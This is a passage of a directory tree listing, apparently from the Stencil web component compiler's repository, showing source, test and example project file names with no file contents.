│ │ ├── comment-node.ts
│ │ ├── console.ts
│ │ ├── constants.ts
│ │ ├── css-style-declaration.ts
│ │ ├── css-style-sheet.ts
│ │ ├── custom-element-registry.ts
│ │ ├── dataset.ts
│ │ ├── document-fragment.ts
│ │ ├── document-type-node.ts
│ │ ├── document.ts
│ │ ├── element.ts
│ │ ├── event.ts
│ │ ├── global.ts
│ │ ├── headers.ts
│ │ ├── history.ts
│ │ ├── index.ts
│ │ ├── intersection-observer.ts
│ │ ├── location.ts
│ │ ├── navigator.ts
│ │ ├── node.ts
│ │ ├── parse-html.ts
│ │ ├── parse-util.ts
│ │ ├── parser.ts
│ │ ├── performance.ts
│ │ ├── request-response.ts
│ │ ├── resize-observer.ts
│ │ ├── selector.ts
│ │ ├── serialize-node.ts
│ │ ├── shadow-root.ts
│ │ ├── storage.ts
│ │ ├── test/
│ │ │ ├── attribute.spec.ts
│ │ │ ├── clone.spec.ts
│ │ │ ├── css-style-declaration.spec.ts
│ │ │ ├── css-style-sheet.spec.ts
│ │ │ ├── custom-elements.spec.ts
│ │ │ ├── dataset.spec.ts
│ │ │ ├── doc-style.spec.ts
│ │ │ ├── document-fragment.spec.ts
│ │ │ ├── element.spec.ts
│ │ │ ├── event.spec.ts
│ │ │ ├── global.spec.ts
│ │ │ ├── headers.spec.ts
│ │ │ ├── html-parse.spec.ts
│ │ │ ├── location.spec.ts
│ │ │ ├── match-media.spec.ts
│ │ │ ├── request-response.spec.ts
│ │ │ ├── selector.spec.ts
│ │ │ ├── serialize-node.spec.ts
│ │ │ ├── shadow-dom-event-bubbling.spec.ts
│ │ │ ├── storage.spec.ts
│ │ │ └── token-list.spec.ts
│ │ ├── third-party/
│ │ │ └── jquery.ts
│ │ ├── token-list.ts
│ │ └── window.ts
│ ├── runtime/
│ │ ├── asset-path.ts
│ │ ├── bootstrap-custom-element.ts
│ │ ├── bootstrap-lazy.ts
│ │ ├── client-hydrate.ts
│ │ ├── connected-callback.ts
│ │ ├── disconnected-callback.ts
│ │ ├── dom-extras.ts
│ │ ├── element.ts
│ │ ├── event-emitter.ts
│ │ ├── fragment.ts
│ │ ├── hmr-component.ts
│ │ ├── host-listener.ts
│ │ ├── index.ts
│ │ ├── initialize-component.ts
│ │ ├── mixin.ts
│ │ ├── mode.ts
│ │ ├── nonce.ts
│ │ ├── parse-property-value.ts
│ │ ├── platform-options.ts
│ │ ├── profile.ts
│ │ ├── proxy-component.ts
│ │ ├── readme.md
│ │ ├── render.ts
│ │ ├── runtime-constants.ts
│ │ ├── set-value.ts
│ │ ├── slot-polyfill-utils.ts
│ │ ├── styles.ts
│ │ ├── tag-transform.ts
│ │ ├── test/
│ │ │ ├── assets.spec.tsx
│ │ │ ├── attr-deserialize.spec.tsx
│ │ │ ├── attr-prop-prefix.spec.tsx
│ │ │ ├── attr.spec.tsx
│ │ │ ├── before-each.spec.tsx
│ │ │ ├── bootstrap-lazy.spec.tsx
│ │ │ ├── client-hydrate-to-vdom.spec.tsx
│ │ │ ├── component-class.spec.tsx
│ │ │ ├── component-error-handling.spec.tsx
│ │ │ ├── dom-extras.spec.tsx
│ │ │ ├── element.spec.tsx
│ │ │ ├── event.spec.tsx
│ │ │ ├── extends-basic.spec.tsx
│ │ │ ├── fetch.spec.tsx
│ │ │ ├── fixtures/
│ │ │ │ ├── cmp-a.css
│ │ │ │ ├── cmp-a.tsx
│ │ │ │ ├── cmp-asset.tsx
│ │ │ │ └── utils.ts
│ │ │ ├── globals.spec.tsx
│ │ │ ├── host.spec.tsx
│ │ │ ├── hydrate-no-encapsulation.spec.tsx
│ │ │ ├── hydrate-prop.spec.tsx
│ │ │ ├── hydrate-scoped.spec.tsx
│ │ │ ├── hydrate-shadow-child.spec.tsx
│ │ │ ├── hydrate-shadow-in-shadow.spec.tsx
│ │ │ ├── hydrate-shadow-parent.spec.tsx
│ │ │ ├── hydrate-shadow.spec.tsx
│ │ │ ├── hydrate-slot-fallback.spec.tsx
│ │ │ ├── hydrate-slotted-content-order.spec.tsx
│ │ │ ├── hydrate-style-element.spec.tsx
│ │ │ ├── initialize-component.spec.tsx
│ │ │ ├── jsx.spec.tsx
│ │ │ ├── lifecycle-async.spec.tsx
│ │ │ ├── lifecycle-sync.spec.tsx
│ │ │ ├── listen.spec.tsx
│ │ │ ├── method.spec.tsx
│ │ │ ├── mixin.spec.tsx
│ │ │ ├── parse-property-value.spec.ts
│ │ │ ├── prop-serialize.spec.tsx
│ │ │ ├── prop-warnings.spec.tsx
│ │ │ ├── prop.spec.tsx
│ │ │ ├── queue.spec.tsx
│ │ │ ├── regression-json-string-non-parsing.spec.tsx
│ │ │ ├── render-text.spec.tsx
│ │ │ ├── render-vdom.spec.tsx
│ │ │ ├── scoped.spec.tsx
│ │ │ ├── shadow.spec.tsx
│ │ │ ├── state.spec.tsx
│ │ │ ├── style.spec.tsx
│ │ │ ├── svg-element.spec.tsx
│ │ │ ├── tsconfig.json
│ │ │ ├── update-component.spec.tsx
│ │ │ ├── vdom-relocation.spec.tsx
│ │ │ └── watch.spec.tsx
│ │ ├── update-component.ts
│ │ └── vdom/
│ │ ├── h.ts
│ │ ├── jsx-dev-runtime.ts
│ │ ├── jsx-runtime.ts
│ │ ├── set-accessor.ts
│ │ ├── test/
│ │ │ ├── __snapshots__/
│ │ │ │ └── vdom-annotations.spec.tsx.snap
│ │ │ ├── attributes.spec.ts
│ │ │ ├── event-listeners.spec.ts
│ │ │ ├── h.spec.ts
│ │ │ ├── is-same-vnode.spec.ts
│ │ │ ├── jsx-runtime.spec.ts
│ │ │ ├── patch-svg.spec.ts
│ │ │ ├── patch.spec.ts
│ │ │ ├── scoped-slot.spec.tsx
│ │ │ ├── set-accessor.spec.ts
│ │ │ ├── tsconfig.json
│ │ │ ├── update-element.spec.ts
│ │ │ ├── util.spec.ts
│ │ │ ├── vdom-annotations.spec.tsx
│ │ │ └── vdom-render.spec.tsx
│ │ ├── update-element.ts
│ │ ├── util.ts
│ │ ├── vdom-annotations.ts
│ │ └── vdom-render.ts
│ ├── screenshot/
│ │ ├── connector-base.ts
│ │ ├── connector-local.ts
│ │ ├── index.ts
│ │ ├── pixel-match.ts
│ │ ├── screenshot-compare.ts
│ │ └── screenshot-fs.ts
│ ├── sys/
│ │ └── node/
│ │ ├── bundles/
│ │ │ ├── autoprefixer.js
│ │ │ ├── glob.js
│ │ │ ├── graceful-fs.js
│ │ │ ├── node-fetch.js
│ │ │ └── prompts.js
│ │ ├── index.ts
│ │ ├── logger/
│ │ │ ├── index.ts
│ │ │ ├── terminal-logger.ts
│ │ │ └── test/
│ │ │ └── terminal-logger.spec.ts
│ │ ├── node-copy-tasks.ts
│ │ ├── node-fs-promisify.ts
│ │ ├── node-lazy-require.ts
│ │ ├── node-resolve-module.ts
│ │ ├── node-setup-process.ts
│ │ ├── node-stencil-version-checker.ts
│ │ ├── node-sys.ts
│ │ ├── node-worker-controller.ts
│ │ ├── node-worker-main.ts
│ │ ├── node-worker-thread.ts
│ │ ├── public.ts
│ │ ├── test/
│ │ │ ├── node-lazy-require.spec.ts
│ │ │ ├── test-worker-main.ts
│ │ │ ├── tsconfig.json
│ │ │ └── worker-manager.spec.ts
│ │ └── worker.ts
│ ├── testing/
│ │ ├── index.ts
│ │ ├── jest/
│ │ │ ├── README.md
│ │ │ ├── install-dependencies.mts
│ │ │ ├── jest-27-and-under/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-28/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-29/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-apis.ts
│ │ │ ├── jest-facade.ts
│ │ │ ├── jest-stencil-connector.ts
│ │ │ └── test/
│ │ │ └── jest-stencil-connector.spec.ts
│ │ ├── mock-fetch.ts
│ │ ├── mocks.ts
│ │ ├── platform/
│ │ │ ├── index.ts
│ │ │ ├── load-module.ts
│ │ │ ├── testing-build.ts
│ │ │ ├── testing-constants.ts
│ │ │ ├── testing-host-ref.ts
│ │ │ ├── testing-log.ts
│ │ │ ├── testing-platform.ts
│ │ │ ├── testing-task-queue.ts
│ │ │ └── testing-window.ts
│ │ ├── puppeteer/
│ │ │ ├── index.ts
│ │ │ ├── puppeteer-browser.ts
│ │ │ ├── puppeteer-declarations.ts
│ │ │ ├── puppeteer-element.ts
│ │ │ ├── puppeteer-emulate.ts
│ │ │ ├── puppeteer-events.ts
│ │ │ ├── puppeteer-page.ts
│ │ │ ├── puppeteer-screenshot.ts
│ │ │ └── test/
│ │ │ └── puppeteer-screenshot.spec.ts
│ │ ├── reset-build-conditionals.ts
│ │ ├── spec-page.ts
│ │ ├── test/
│ │ │ ├── __fixtures__/
│ │ │ │ └── cmp.tsx
│ │ │ ├── functional.spec.tsx
│ │ │ ├── testing-utils.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── test-transpile.ts
│ │ ├── testing-logger.ts
│ │ ├── testing-sys.ts
│ │ ├── testing-utils.ts
│ │ ├── testing.ts
│ │ └── tsconfig.internal.json
│ ├── utils/
│ │ ├── byte-size.ts
│ │ ├── constants.ts
│ │ ├── es2022-rewire-class-members.ts
│ │ ├── format-component-runtime-meta.ts
│ │ ├── get-prop-descriptor.ts
│ │ ├── helpers.ts
│ │ ├── index.ts
│ │ ├── is-glob.ts
│ │ ├── is-root-path.ts
│ │ ├── local-value.ts
│ │ ├── logger/
│ │ │ ├── logger-rollup.ts
│ │ │ ├── logger-typescript.ts
│ │ │ └── logger-utils.ts
│ │ ├── message-utils.ts
│ │ ├── output-target.ts
│ │ ├── path.ts
│ │ ├── query-nonce-meta-tag-content.ts
│ │ ├── regular-expression.ts
│ │ ├── remote-value.ts
│ │ ├── result.ts
│ │ ├── serialize.ts
│ │ ├── shadow-css.ts
│ │ ├── shadow-root.ts
│ │ ├── sourcemaps.ts
│ │ ├── style.ts
│ │ ├── test/
│ │ │ ├── helpers.spec.ts
│ │ │ ├── is-root-path.spec.ts
│ │ │ ├── message-utils.spec.ts
│ │ │ ├── output-target.spec.ts
│ │ │ ├── path.spec.ts
│ │ │ ├── query-nonce-meta-tag-content.spec.ts
│ │ │ ├── regular-expression.spec.ts
│ │ │ ├── result.spec.ts
│ │ │ ├── scope-css.spec.ts
│ │ │ ├── serialize.spec.ts
│ │ │ ├── sourcemaps.spec.ts
│ │ │ ├── tsconfig.json
│ │ │ ├── url-paths.spec.ts
│ │ │ ├── util.spec.ts
│ │ │ └── validation.spec.ts
│ │ ├── types.ts
│ │ ├── url-paths.ts
│ │ ├── util.ts
│ │ └── validation.ts
│ └── version.ts
├── test/
│ ├── .npmrc
│ ├── .scripts/
│ │ ├── analysis.js
│ │ └── file-size-profile.js
│ ├── browser-compile/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── compiler.worker.ts
│ │ │ ├── components/
│ │ │ │ └── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ └── app-root.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ ├── preview.html
│ │ │ └── utils/
│ │ │ ├── css-template-plugin.ts
│ │ │ ├── load-deps.ts
│ │ │ └── templates.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── bundle-size/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── test-component/
│ │ │ │ └── test-component.tsx
│ │ │ └── components.d.ts
│ │ ├── stencil.config.ts
│ │ ├── test-bundle-size.js
│ │ └── tsconfig.json
│ ├── bundler/
│ │ ├── component-library/
│ │ │ ├── .gitignore
│ │ │ ├── README.md
│ │ │ ├── package.json
│ │ │ ├── src/
│ │ │ │ ├── components/
│ │ │ │ │ └── my-component/
│ │ │ │ │ ├── my-component.css
│ │ │ │ │ ├── my-component.tsx
│ │ │ │ │ └── readme.md
│ │ │ │ ├── components.d.ts
│ │ │ │ ├── index.html
│ │ │ │ ├── index.ts
│ │ │ │ └── utils/
│ │ │ │ └── utils.ts
│ │ │ ├── stencil.config.ts
│ │ │ └── tsconfig.json
│ │ ├── karma-stencil-utils.ts
│ │ ├── karma.config.ts
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── tsconfig.json
│ │ └── vite-bundle-test/
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── package.json
│ │ └── vite-bundle.spec.ts
│ ├── copy-task/
│ │ ├── README.md
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components.d.ts
│ │ │ └── utils/
│ │ │ ├── __fixtures__/
│ │ │ │ └── foobar.json
│ │ │ ├── __mocks__/
│ │ │ │ └── foo.js
│ │ │ ├── desktop.ini
│ │ │ ├── utils.spec.ts
│ │ │ └── utils.ts
│ │ ├── stencil.config.ts
│ │ ├── tsconfig.json
│ │ └── validate.mts
│ ├── docs-json/
│ │ ├── custom-elements-manifest.json
│ │ ├── docs.d.ts
│ │ ├── docs.json
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── scripts/
│ │ │ └── postprocess.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── interfaces.ts
│ │ │ │ ├── my-component/
│ │ │ │ │ ├── imported-interface.ts
│ │ │ │ │ ├── my-component.ios.css
│ │ │ │ │ ├── my-component.md.css
│ │ │ │ │ └── my-component.tsx
│ │ │ │ └── test-not-used.ts
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── docs-readme/
│ │ ├── custom-readme-output/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ ├── readme-supplemental.md
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite-if-missing-missing/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme-supplemental.md
│ │ ├── custom-readme-output-overwrite-if-missing-not-missing/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite-never/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── styleurls-component/
│ │ │ │ ├── one.scss
│ │ │ │ ├── readme.md
│ │ │ │ ├── styleurls-component.tsx
│ │ │ │ └── two.scss
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── end-to-end/
│ │ ├── .gitignore
│ │ ├── benchmark-compile-time.js
│ │ ├── benchmark-results.json
│ │ ├── benchmark-results.md
│ │ ├── custom-elements-manifest.json
│ │ ├── exportMap/
│ │ │ ├── index.js
│ │ │ └── index.mts
│ │ ├── package.json
│ │ ├── screenshot/
│ │ │ └── .gitignore
│ │ ├── src/
│ │ │ ├── app-root/
│ │ │ │ ├── app-root.e2e.ts
│ │ │ │ ├── app-root.tsx
│ │ │ │ ├── interfaces.d.ts
│ │ │ │ ├── no-component.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── build-data/
│ │ │ │ ├── build-data.e2e.ts
│ │ │ │ ├── build-data.spec.ts
│ │ │ │ ├── build-data.tsx
│ │ │ │ └── readme.md
│ │ │ ├── car-detail/
│ │ │ │ ├── assets-a/
│ │ │ │ │ └── file-1.txt
│ │ │ │ ├── car-detail.tsx
│ │ │ │ └── readme.md
│ │ │ ├── car-list/
│ │ │ │ ├── assets-a/
│ │ │ │ │ └── file-2.txt
│ │ │ │ ├── car-data.ts
│ │ │ │ ├── car-list.css
│ │ │ │ ├── car-list.e2e.ts
│ │ │ │ ├── car-list.tsx
│ │ │ │ └── readme.md
│ │ │ ├── components.d.ts
│ │ │ ├── declarative-shadow-dom/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── test.e2e.ts.snap
│ │ │ │ ├── another-car-detail.css
│ │ │ │ ├── another-car-detail.tsx
│ │ │ │ ├── another-car-list.css
│ │ │ │ ├── another-car-list.tsx
│ │ │ │ ├── cmp-dsd-focus.tsx
│ │ │ │ ├── cmp-dsd.css
│ │ │ │ ├── cmp-dsd.tsx
│ │ │ │ ├── cmp-with-slot.tsx
│ │ │ │ ├── dsd-listen-cmp.css
│ │ │ │ ├── dsd-listen-cmp.tsx
│ │ │ │ ├── nested-child-cmp.css
│ │ │ │ ├── nested-child-cmp.tsx
│ │ │ │ ├── nested-scope-cmp.css
│ │ │ │ ├── nested-scope-cmp.tsx
│ │ │ │ ├── parent-cmp.css
│ │ │ │ ├── parent-cmp.tsx
│ │ │ │ ├── readme.md
│ │ │ │ ├── scoped-car-detail.tsx
│ │ │ │ ├── scoped-car-list.tsx
│ │ │ │ ├── server-vs-client.tsx
│ │ │ │ ├── ssr-shadow-cmp.tsx
│ │ │ │ ├── test.e2e.ts
│ │ │ │ └── wrap-ssr-shadow-cmp.tsx
│ │ │ ├── deep-selector/
│ │ │ │ ├── cmpA.tsx
│ │ │ │ ├── cmpB.tsx
│ │ │ │ ├── cmpC.tsx
│ │ │ │ ├── deep-selector.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── dom-api/
│ │ │ │ ├── assets-b/
│ │ │ │ │ └── file-3.txt
│ │ │ │ ├── dom-api.e2e.ts
│ │ │ │ ├── dom-api.tsx
│ │ │ │ └── readme.md
│ │ │ ├── dom-interaction/
│ │ │ │ ├── dom-interaction.e2e.ts
│ │ │ │ ├── dom-interaction.tsx
│ │ │ │ └── readme.md
│ │ │ ├── dom-visible/
│ │ │ │ ├── dom-visible.e2e.ts
│ │ │ │ ├── dom-visible.tsx
│ │ │ │ └── readme.md
│ │ │ ├── element-cmp/
│ │ │ │ ├── element-cmp.e2e.ts
│ │ │ │ ├── element-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── env-data/
│ │ │ │ ├── env-data.e2e.ts
│ │ │ │ ├── env-data.spec.ts
│ │ │ │ ├── env-data.tsx
│ │ │ │ └── readme.md
│ │ │ ├── event-cmp/
│ │ │ │ ├── event-cmp.e2e.ts
│ │ │ │ ├── event-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── global.css
│ │ │ ├── global.ts
│ │ │ ├── hydrate-props/
│ │ │ │ ├── hydrate-props.e2e.ts
│ │ │ │ ├── my-cmp.tsx
│ │ │ │ ├── my-jsx-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── import-assets/
│ │ │ │ ├── assets/
│ │ │ │ │ ├── my-text.txt
│ │ │ │ │ └── whatever.html
│ │ │ │ ├── import-assets.e2e.ts
│ │ │ │ ├── import-assets.tsx
│ │ │ │ └── readme.md
│ │ │ ├── index.html
│ │ │ ├── listen-cmp/
│ │ │ │ ├── listen-cmp.e2e.ts
│ │ │ │ ├── listen-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── method-cmp/
│ │ │ │ ├── method-cmp.e2e.ts
│ │ │ │ ├── method-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── miscellaneous/
│ │ │ │ ├── renderToString.e2e.ts
│ │ │ │ └── test.e2e.ts
│ │ │ ├── non-existent-element/
│ │ │ │ ├── empty-cmp-shadow.tsx
│ │ │ │ ├── empty-cmp.tsx
│ │ │ │ ├── non-existent-element.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── path-alias-cmp/
│ │ │ │ ├── path-alias-cmp.tsx
│ │ │ │ ├── path-alias-lib.ts
│ │ │ │ └── readme.md
│ │ │ ├── prerender-cmp/
│ │ │ │ ├── prerender-cmp.css
│ │ │ │ ├── prerender-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── prop-cmp/
│ │ │ │ ├── prop-cmp.e2e.ts
│ │ │ │ ├── prop-cmp.ios.css
│ │ │ │ ├── prop-cmp.md.css
│ │ │ │ ├── prop-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── resolve-var-events/
│ │ │ │ ├── readme.md
│ │ │ │ ├── resolve-var-events.e2e.ts
│ │ │ │ └── resolve-var-events.tsx
│ │ │ ├── scoped-hydration/
│ │ │ │ ├── non-shadow-forwarded-slot.tsx
│ │ │ │ ├── non-shadow-multi-slots.tsx
│ │ │ │ ├── non-shadow-slotted-siblings.tsx
│ │ │ │ ├── non-shadow-wrapper.tsx
│ │ │ │ ├── non-shadow.tsx
│ │ │ │ ├── readme.md
│ │ │ │ ├── scoped-hydration.e2e.ts
│ │ │ │ ├── shadow-wrapper.tsx
│ │ │ │ └── shadow.tsx
│ │ │ ├── slot-cmp/
│ │ │ │ ├── readme.md
│ │ │ │ └── slot-cmp.tsx
│ │ │ ├── slot-cmp-container/
│ │ │ │ ├── readme.md
│ │ │ │ ├── slot-cmp-container.e2e.ts
│ │ │ │ └── slot-cmp-container.tsx
│ │ │ ├── slot-parent-cmp/
│ │ │ │ ├── readme.md
│ │ │ │ └── slot-parent-cmp.tsx
│ │ │ ├── ssr-runtime-decorators/
│ │ │ │ ├── readme.md
│ │ │ │ ├── ssr-runtime-decorators.e2e.ts
│ │ │ │ └── ssr-runtime-decorators.tsx
│ │ │ └── state-cmp/
│ │ │ ├── readme.md
│ │ │ ├── state-cmp.e2e.ts
│ │ │ └── state-cmp.tsx
│ │ ├── stencil.build.config.ts
│ │ ├── stencil.config.ts
│ │ ├── test-end-to-end-dist.js
│ │ ├── test-end-to-end-hydrate.js
│ │ ├── tsconfig.build.json
│ │ └── tsconfig.json
│ ├── hello-vdom/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── hello-vdom.tsx
│ │ │ │ ├── index.ts
│ │ │ │ └── styles.css
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── hello-world/
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── hello-world.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── hello-world-text.ts
│ │ │ ├── index-module.html
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ ├── tsconfig.json
│ │ └── tsconfig.parent.json
│ ├── ionic-app/
│ │ ├── .gitignore
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-home/
│ │ │ │ │ ├── app-home.e2e.ts
│ │ │ │ │ ├── app-home.spec.ts
│ │ │ │ │ └── app-home.tsx
│ │ │ │ ├── app-profile/
│ │ │ │ │ ├── app-profile.e2e.ts
│ │ │ │ │ ├── app-profile.spec.ts
│ │ │ │ │ └── app-profile.tsx
│ │ │ │ └── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ ├── app-root.e2e.ts
│ │ │ │ ├── app-root.spec.ts
│ │ │ │ └── app-root.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── global/
│ │ │ │ ├── app.css
│ │ │ │ └── app.ts
│ │ │ ├── helpers/
│ │ │ │ └── utils.ts
│ │ │ ├── index.html
│ │ │ └── manifest.json
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── jest-spec-runner/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── mixed/
│ │ │ │ │ ├── mixed.spec.ts
│ │ │ │ │ └── mixed.tsx
│ │ │ │ ├── simple/
│ │ │ │ │ ├── simple.spec.ts
│ │ │ │ │ └── simple.tsx
│ │ │ │ └── utils/
│ │ │ │ ├── as-js-cjs.js
│ │ │ │ ├── as-js-esm.js
│ │ │ │ ├── as-mjs.mjs
│ │ │ │ ├── as-ts.ts
│ │ │ │ ├── deep-js-cjs.js
│ │ │ │ ├── deep-js-esm.js
│ │ │ │ ├── deep-mjs.mjs
│ │ │ │ └── deep-ts.ts
│ │ │ └── components.d.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── package.json
│ ├── performance/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── my-app.tsx
│ │ │ │ ├── my-item.tsx
│ │ │ │ └── my-list.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── prerender-shadow/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── cmp-a.tsx
│ │ │ │ ├── cmp-b.tsx
│ │ │ │ ├── cmp-c.tsx
│ │ │ │ ├── cmp-d.css
│ │ │ │ └── cmp-d.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── readme.md
│ ├── runtime-benchmark/
│ │ ├── benchmark-results.json
│ │ ├── benchmark-results.md
│ │ ├── benchmark-runtime.js
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── perf-rows/
│ │ │ │ └── perf-rows.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── style-modes/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-root/
│ │ │ │ │ ├── app-root.css
│ │ │ │ │ └── app-root.tsx
│ │ │ │ ├── scoped-mode/
│ │ │ │ │ ├── scoped-mode.buford.scss
│ │ │ │ │ ├── scoped-mode.css
│ │ │ │ │ ├── scoped-mode.griff.css
│ │ │ │ │ ├── scoped-mode.scss
│ │ │ │ │ └── scoped-mode.tsx
│ │ │ │ └── shadow-mode/
│ │ │ │ ├── shadow-mode.buford.scss
│ │ │ │ ├── shadow-mode.css
│ │ │ │ ├── shadow-mode.griff.css
│ │ │ │ ├── shadow-mode.scss
│ │ │ │ └── shadow-mode.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── custom-elements.html
│ │ │ ├── global.ts
│ │ │ ├── index.html
│ │ │ └── scss/
│ │ │ └── _partial.scss
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── todo-app/
│ │ ├── .firebaserc
│ │ ├── .gitignore
│ │ ├── .npmrc
│ │ ├── firebase.json
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-root/
│ │ │ │ │ └── app-root.tsx
│ │ │ │ ├── todo-input/
│ │ │ │ │ └── todo-input.tsx
